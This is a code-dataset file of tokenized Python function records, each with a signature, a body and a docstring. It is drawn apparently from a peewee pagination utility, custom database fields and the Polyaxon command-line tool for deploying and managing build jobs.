{"signature": "def list(self, filters, cursor, count):", "body": "assert isinstance(filters, dict), \"<STR_LIT>\"<EOL>assert isinstance(cursor, dict), \"<STR_LIT>\"<EOL>query = self.get_query()<EOL>assert isinstance(query, peewee.Query)<EOL>paginator = self.get_paginator()<EOL>assert isinstance(paginator, Pagination)<EOL>count += <NUM_LIT:1><EOL>pquery = paginator.filter_query(query, cursor, count)<EOL>items = [ item for item in pquery ]<EOL>next_item = items.pop(<NUM_LIT:1>)<EOL>next_cursor = next_item.to_cursor_ref()<EOL>'''<STR_LIT>'''<EOL>return items, next_cursor<EOL>", "docstring": "List items from query", "id": "f967:c8:m3"}
{"signature": "def retrieve(self, cursor):", "body": "assert isinstance(cursor, dict), \"<STR_LIT>\"<EOL>query = self.get_query()<EOL>assert isinstance(query, peewee.Query)<EOL>query<EOL>return query.get(**cursor)<EOL>", "docstring": "Retrieve items from query", "id": "f967:c8:m4"}
{"signature": "def populate_models(self):", "body": "fake = Faker()<EOL>fake.seed(<NUM_LIT:0>)<EOL>cities = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>items = []<EOL>for x in range(<NUM_LIT:100>):<EOL><INDENT>city = cities[x % len(cities)]<EOL>items += [dict(name=fake.name(), city=city)]<EOL><DEDENT>Person.insert_many(items).execute()<EOL>assert Person.select().count() == <NUM_LIT:100><EOL>", "docstring": "Populate test models with (predictable) fake data", "id": "f970:c1:m0"}
{"signature": "def db_value(self, value):", "body": "<EOL>if not isinstance(value, UUID):<EOL><INDENT>value = UUID(value)<EOL><DEDENT>parts = str(value).split(\"<STR_LIT:->\")<EOL>reordered = '<STR_LIT>'.join([parts[<NUM_LIT:2>], parts[<NUM_LIT:1>], parts[<NUM_LIT:0>], parts[<NUM_LIT:3>], parts[<NUM_LIT:4>]])<EOL>value = binascii.unhexlify(reordered)<EOL>return super(OrderedUUIDField, self).db_value(value)<EOL>", "docstring": "Convert UUID to binary blob", "id": "f972:c0:m0"}
{"signature": "def python_value(self, value):", "body": "value = super(OrderedUUIDField, self).python_value(value)<EOL>u = binascii.b2a_hex(value)<EOL>value = u[<NUM_LIT:8>:<NUM_LIT:16>] + u[<NUM_LIT:4>:<NUM_LIT:8>] + u[<NUM_LIT:0>:<NUM_LIT:4>] + u[<NUM_LIT:16>:<NUM_LIT>] + u[<NUM_LIT>:<NUM_LIT:32>]<EOL>return UUID(value.decode())<EOL>", "docstring": "Convert binary blob to UUID instance", "id": "f972:c0:m1"}
{"signature": "def db_value(self, value):", "body": "value = self.transform_value(value)<EOL>return self.hhash.encrypt(value,<EOL>salt_size=self.salt_size, rounds=self.rounds)<EOL>", "docstring": "Convert the python value for storage in the database.", "id": "f972:c6:m3"}
{"signature": "def python_value(self, value):", "body": "value = coerce_to_bytes(value)<EOL>obj = HashValue(value)<EOL>obj.field = self<EOL>return obj<EOL>", "docstring": "Convert the database value to a pythonic value.", "id": "f972:c6:m4"}
{"signature": "def check(self):", "body": "if not self.is_valid:<EOL><INDENT>raise PolyaxonDeploymentConfigError(<EOL>'<STR_LIT>'.format(self.deployment_type))<EOL><DEDENT>check = False<EOL>if self.is_kubernetes:<EOL><INDENT>check = self.check_for_kubernetes()<EOL><DEDENT>elif self.is_docker_compose:<EOL><INDENT>check = self.check_for_docker_compose()<EOL><DEDENT>elif self.is_docker:<EOL><INDENT>check = self.check_for_docker()<EOL><DEDENT>elif self.is_heroku:<EOL><INDENT>check = self.check_for_heroku()<EOL><DEDENT>if not check:<EOL><INDENT>raise PolyaxonDeploymentConfigError(<EOL>'<STR_LIT>'.format(self.deployment_type))<EOL><DEDENT>", "docstring": "Add platform specific checks", "id": "f1019:c0:m13"}
{"signature": "def install(self):", "body": "if not self.is_valid:<EOL><INDENT>raise PolyaxonDeploymentConfigError(<EOL>'<STR_LIT>'.format(self.deployment_type))<EOL><DEDENT>if self.is_kubernetes:<EOL><INDENT>self.install_on_kubernetes()<EOL><DEDENT>elif self.is_docker_compose:<EOL><INDENT>self.install_on_docker_compose()<EOL><DEDENT>elif self.is_docker:<EOL><INDENT>self.install_on_docker()<EOL><DEDENT>elif self.is_heroku:<EOL><INDENT>self.install_on_heroku()<EOL><DEDENT>", "docstring": "Install polyaxon using the current config to the correct platform.", "id": "f1019:c0:m18"}
{"signature": "def upgrade(self):", "body": "if not self.is_valid:<EOL><INDENT>raise PolyaxonDeploymentConfigError(<EOL>'<STR_LIT>'.format(self.deployment_type))<EOL><DEDENT>if self.is_kubernetes:<EOL><INDENT>self.upgrade_on_kubernetes()<EOL><DEDENT>elif self.is_docker_compose:<EOL><INDENT>self.upgrade_on_docker_compose()<EOL><DEDENT>elif self.is_docker:<EOL><INDENT>self.upgrade_on_docker()<EOL><DEDENT>elif self.is_heroku:<EOL><INDENT>self.upgrade_on_heroku()<EOL><DEDENT>", "docstring": "Upgrade deployment.", "id": "f1019:c0:m23"}
{"signature": "def teardown(self, hooks=True):", "body": "if not self.is_valid:<EOL><INDENT>raise PolyaxonDeploymentConfigError(<EOL>'<STR_LIT>'.format(self.deployment_type))<EOL><DEDENT>if self.is_kubernetes:<EOL><INDENT>self.teardown_on_kubernetes(hooks=hooks)<EOL><DEDENT>elif self.is_docker_compose:<EOL><INDENT>self.teardown_on_docker_compose()<EOL><DEDENT>elif self.is_docker:<EOL><INDENT>self.teardown_on_docker(hooks=hooks)<EOL><DEDENT>elif self.is_heroku:<EOL><INDENT>self.teardown_on_heroku(hooks=hooks)<EOL><DEDENT>", "docstring": "Teardown Polyaxon.", "id": "f1019:c0:m28"}
{"signature": "@staticmethod<EOL><INDENT>def _remove_trailing_spaces(line):<DEDENT>", "body": "while line.endswith('<STR_LIT:U+0020>') and not line.endswith('<STR_LIT>'):<EOL><INDENT>line = line[:-<NUM_LIT:1>]<EOL><DEDENT>return line.replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>", "docstring": "Remove trailing spaces unless they are quoted with a backslash.", "id": "f1025:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def find_matching(cls, path, patterns):<DEDENT>", "body": "for pattern in patterns:<EOL><INDENT>if pattern.match(path):<EOL><INDENT>yield pattern<EOL><DEDENT><DEDENT>", "docstring": "Yield all matching patterns for path.", "id": "f1025:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def is_ignored(cls, path, patterns):<DEDENT>", "body": "status = None<EOL>for pattern in cls.find_matching(path, patterns):<EOL><INDENT>status = pattern.is_exclude<EOL><DEDENT>return status<EOL>", "docstring": "Check whether a path is ignored. For directories, include a trailing slash.", "id": "f1025:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _matches_patterns(path, patterns):<DEDENT>", "body": "for glob in patterns:<EOL><INDENT>try:<EOL><INDENT>if PurePath(path).match(glob):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Given a list of patterns, returns a if a path matches any pattern.", "id": "f1025:c1:m9"}
{"signature": "@classmethod<EOL><INDENT>def _ignore_path(cls, path, ignore_list=None, white_list=None):<DEDENT>", "body": "ignore_list = ignore_list or []<EOL>white_list = white_list or []<EOL>return (cls._matches_patterns(path, ignore_list) and<EOL>not cls._matches_patterns(path, white_list))<EOL>", "docstring": "Returns a whether a path should be ignored or not.", "id": "f1025:c1:m10"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def cli(context, verbose):", "body": "configure_logger(verbose or GlobalConfigManager.get_value('<STR_LIT>'))<EOL>non_check_cmds = ['<STR_LIT>', '<STR_LIT:version>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>if context.invoked_subcommand not in non_check_cmds:<EOL><INDENT>check_cli_version()<EOL><DEDENT>", "docstring": "Polyaxon CLI tool to:\n\n        * Parse, Validate, and Check Polyaxonfiles.\n\n        * Interact with Polyaxon server.\n\n        * Run and Monitor experiments.\n\n    Check the help available for each command listed below.", "id": "f1033:m0"}
{"signature": "@contextmanager<EOL>def create_tarfile(files, project_name):", "body": "fd, filename = tempfile.mkstemp(prefix=\"<STR_LIT>\".format(project_name), suffix='<STR_LIT>')<EOL>with tarfile.open(filename, \"<STR_LIT>\") as tar:<EOL><INDENT>for f in files:<EOL><INDENT>tar.add(f)<EOL><DEDENT><DEDENT>yield filename<EOL>os.close(fd)<EOL>os.remove(filename)<EOL>", "docstring": "Create a tar file based on the list of files passed", "id": "f1035:m3"}
{"signature": "def pprint(value):", "body": "click.echo(<EOL>json.dumps(value,<EOL>sort_keys=True,<EOL>indent=<NUM_LIT:4>,<EOL>separators=('<STR_LIT:U+002C>', '<STR_LIT>')))<EOL>", "docstring": "Prints as formatted JSON", "id": "f1039:m3"}
{"signature": "@click.group(invoke_without_command=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@clean_outputs<EOL>def config(list):  ", "body": "if list:<EOL><INDENT>_config = GlobalConfigManager.get_config_or_default()<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(_config.to_dict())<EOL><DEDENT>", "docstring": "Set and get the global configurations.", "id": "f1040:m1"}
{"signature": "@config.command()<EOL>@click.argument('<STR_LIT>', type=str, nargs=-<NUM_LIT:1>)<EOL>@clean_outputs<EOL>def get(keys):", "body": "_config = GlobalConfigManager.get_config_or_default()<EOL>if not keys:<EOL><INDENT>return<EOL><DEDENT>print_values = {}<EOL>for key in keys:<EOL><INDENT>if hasattr(_config, key):<EOL><INDENT>print_values[key] = getattr(_config, key)<EOL><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>'.format(key))<EOL><DEDENT><DEDENT>dict_tabulate(print_values, )<EOL>", "docstring": "Get the global config values by keys.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon config get host http_port\n    ```", "id": "f1040:m2"}
{"signature": "@config.command()<EOL>@click.option('<STR_LIT>', type=bool, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=bool, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=bool,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def set(verbose,  <EOL>host,<EOL>http_port,<EOL>ws_port,<EOL>use_https,<EOL>verify_ssl):", "body": "_config = GlobalConfigManager.get_config_or_default()<EOL>if verbose is not None:<EOL><INDENT>_config.verbose = verbose<EOL><DEDENT>if host is not None:<EOL><INDENT>_config.host = host<EOL><DEDENT>if http_port is not None:<EOL><INDENT>_config.http_port = http_port<EOL><DEDENT>if ws_port is not None:<EOL><INDENT>_config.ws_port = ws_port<EOL><DEDENT>if use_https is not None:<EOL><INDENT>_config.use_https = use_https<EOL><DEDENT>if verify_ssl is False:<EOL><INDENT>_config.verify_ssl = verify_ssl<EOL><DEDENT>GlobalConfigManager.set_config(_config)<EOL>Printer.print_success('<STR_LIT>')<EOL>CliConfigManager.purge()<EOL>", "docstring": "Set the global config values.\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon config set --hots=localhost http_port=80\n    ```", "id": "f1040:m3"}
{"signature": "@click.command()<EOL>@clean_outputs<EOL>def upload(sync=True):  ", "body": "project = ProjectManager.get_config_or_raise()<EOL>files = IgnoreManager.get_unignored_file_paths()<EOL>try:<EOL><INDENT>with create_tarfile(files, project.name) as file_path:<EOL><INDENT>with get_files_in_current_directory('<STR_LIT>', [file_path]) as (files, files_size):<EOL><INDENT>try:<EOL><INDENT>PolyaxonClient().project.upload_repo(project.user,<EOL>project.name,<EOL>files,<EOL>files_size,<EOL>sync=sync)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(project.name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>Printer.print_error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>Printer.print_error(\"<STR_LIT>\")<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Upload code of the current directory while respecting the .polyaxonignore file.", "id": "f1041:m0"}
{"signature": "def check_cli_version():", "body": "if not CliConfigManager.should_check():<EOL><INDENT>return<EOL><DEDENT>server_version = get_server_version()<EOL>current_version = get_current_version()<EOL>CliConfigManager.reset(current_version=current_version,<EOL>min_version=server_version.min_version)<EOL>if LooseVersion(current_version) < LooseVersion(server_version.min_version):<EOL><INDENT>click.echo(\"\"\"<STR_LIT>\"\"\".format(<EOL>current_version))<EOL>if click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(server_version.latest_version)):<EOL><INDENT>pip_upgrade()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>clint.textui.puts(\"<STR_LIT>\")<EOL>with clint.textui.indent(<NUM_LIT:4>):<EOL><INDENT>clint.textui.puts(\"<STR_LIT>\")<EOL><DEDENT>clint.textui.puts(<EOL>\"<STR_LIT>\".format(server_version.latest_version))<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>elif LooseVersion(current_version) < LooseVersion(server_version.latest_version):<EOL><INDENT>clint.textui.puts(\"<STR_LIT>\".format(<EOL>server_version.latest_version<EOL>))<EOL>with clint.textui.indent(<NUM_LIT:4>):<EOL><INDENT>clint.textui.puts(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif LooseVersion(current_version) > LooseVersion(server_version.latest_version):<EOL><INDENT>clint.textui.puts(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(current_version,<EOL>server_version.latest_version))<EOL><DEDENT>", "docstring": "Check if the current cli version satisfies the server requirements", "id": "f1042:m6"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', is_flag=True, default=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False, help='<STR_LIT>')<EOL>@clean_outputs<EOL>def version(cli, platform):", "body": "version_client = PolyaxonClient().version<EOL>cli = cli or not any([cli, platform])<EOL>if cli:<EOL><INDENT>try:<EOL><INDENT>server_version = version_client.get_cli_version()<EOL><DEDENT>except AuthorizationError:<EOL><INDENT>session_expired()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>cli_version = get_version(PROJECT_CLI_NAME)<EOL>Printer.print_header('<STR_LIT>'.format(cli_version))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(server_version.to_dict())<EOL><DEDENT>if platform:<EOL><INDENT>try:<EOL><INDENT>platform_version = version_client.get_platform_version()<EOL><DEDENT>except AuthorizationError:<EOL><INDENT>session_expired()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>chart_version = version_client.get_chart_version()<EOL>Printer.print_header('<STR_LIT>'.format(chart_version.version))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(platform_version.to_dict())<EOL><DEDENT>", "docstring": "Print the current version of the cli and platform.", "id": "f1042:m7"}
{"signature": "@click.command()<EOL>@clean_outputs<EOL>def upgrade():", "body": "try:<EOL><INDENT>pip_upgrade(PROJECT_CLI_NAME)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(e)<EOL><DEDENT>", "docstring": "Install/Upgrade polyaxon-cli.", "id": "f1042:m8"}
{"signature": "@click.group()<EOL>@clean_outputs<EOL>def admin():", "body": "", "docstring": "Commands for admin management.", "id": "f1043:m1"}
{"signature": "@admin.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def deploy(file, manager_path, check, dry_run):  ", "body": "config = read_deployment_config(file)<EOL>manager = DeployManager(config=config,<EOL>filepath=file,<EOL>manager_path=manager_path,<EOL>dry_run=dry_run)<EOL>exception = None<EOL>if check:<EOL><INDENT>manager.check()<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>manager.install()<EOL><DEDENT>except Exception as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>exception = e<EOL><DEDENT><DEDENT>if exception:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(exception))<EOL><DEDENT>", "docstring": "Deploy polyaxon.", "id": "f1043:m2"}
{"signature": "@admin.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def upgrade(file, manager_path, check, dry_run):  ", "body": "config = read_deployment_config(file)<EOL>manager = DeployManager(config=config,<EOL>filepath=file,<EOL>manager_path=manager_path,<EOL>dry_run=dry_run)<EOL>exception = None<EOL>if check:<EOL><INDENT>manager.check()<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>manager.upgrade()<EOL><DEDENT>except Exception as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>exception = e<EOL><DEDENT><DEDENT>if exception:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(exception))<EOL><DEDENT>", "docstring": "Upgrade a Polyaxon deployment.", "id": "f1043:m3"}
{"signature": "@admin.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def teardown(file):  ", "body": "config = read_deployment_config(file)<EOL>manager = DeployManager(config=config, filepath=file)<EOL>exception = None<EOL>try:<EOL><INDENT>if click.confirm('<STR_LIT>', default=True):<EOL><INDENT>manager.teardown(hooks=True)<EOL><DEDENT>else:<EOL><INDENT>manager.teardown(hooks=False)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>exception = e<EOL><DEDENT>if exception:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(exception))<EOL><DEDENT>", "docstring": "Teardown a polyaxon deployment given a config file.", "id": "f1043:m4"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def build(ctx, project, build):  ", "body": "ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT>'] = project<EOL>ctx.obj['<STR_LIT>'] = build<EOL>", "docstring": "Commands for build jobs.", "id": "f1045:m1"}
{"signature": "@build.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def get(ctx):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().build_job.get_build(user, project_name, _build)<EOL>cache.cache(config_manager=BuildJobManager, response=response)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_build_details(response)<EOL>", "docstring": "Get build job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build -b 1 get\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build --build=1 --project=project_name get\n    ```", "id": "f1045:m2"}
{"signature": "@build.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def delete(ctx):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if not click.confirm(\"<STR_LIT>\".format(_build)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().build_job.delete_build(<EOL>user, project_name, _build)<EOL>BuildJobManager.purge()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>Printer.print_success(\"<STR_LIT>\".format(_build))<EOL><DEDENT>", "docstring": "Delete build job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon build delete\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 delete\n    ```", "id": "f1045:m3"}
{"signature": "@build.command()<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def update(ctx, name, description, tags):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>update_dict = {}<EOL>if name:<EOL><INDENT>update_dict['<STR_LIT:name>'] = name<EOL><DEDENT>if description:<EOL><INDENT>update_dict['<STR_LIT:description>'] = description<EOL><DEDENT>tags = validate_tags(tags)<EOL>if tags:<EOL><INDENT>update_dict['<STR_LIT>'] = tags<EOL><DEDENT>if not update_dict:<EOL><INDENT>Printer.print_warning('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().build_job.update_build(<EOL>user, project_name, _build, update_dict)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>get_build_details(response)<EOL>", "docstring": "Update build.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 update --description=\"new description for my build\"\n    ```", "id": "f1045:m4"}
{"signature": "@build.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, yes):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(_build)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>PolyaxonClient().build_job.stop(user, project_name, _build)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Stop build job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build stop\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 stop\n    ```", "id": "f1045:m5"}
{"signature": "@build.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().build_job.bookmark(user, project_name, _build)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Bookmark build job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build bookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 bookmark\n    ```", "id": "f1045:m6"}
{"signature": "@build.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def unbookmark(ctx):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().build_job.unbookmark(user, project_name, _build)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Unbookmark build job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build unbookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 unbookmark\n    ```", "id": "f1045:m7"}
{"signature": "@build.command()<EOL>@click.option('<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def statuses(ctx, page):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().build_job.get_statuses(user, project_name, _build, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_build))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_build))<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='<STR_LIT:status>')<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "Get build job statuses.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 statuses\n    ```", "id": "f1045:m8"}
{"signature": "@build.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def resources(ctx, gpu):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>message_handler = Printer.gpu_resources if gpu else Printer.resources<EOL>PolyaxonClient().build_job.resources(user,<EOL>project_name,<EOL>_build,<EOL>message_handler=message_handler)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Get build job resources.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 resources\n    ```\n\n    For GPU resources\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 resources --gpu\n    ```", "id": "f1045:m9"}
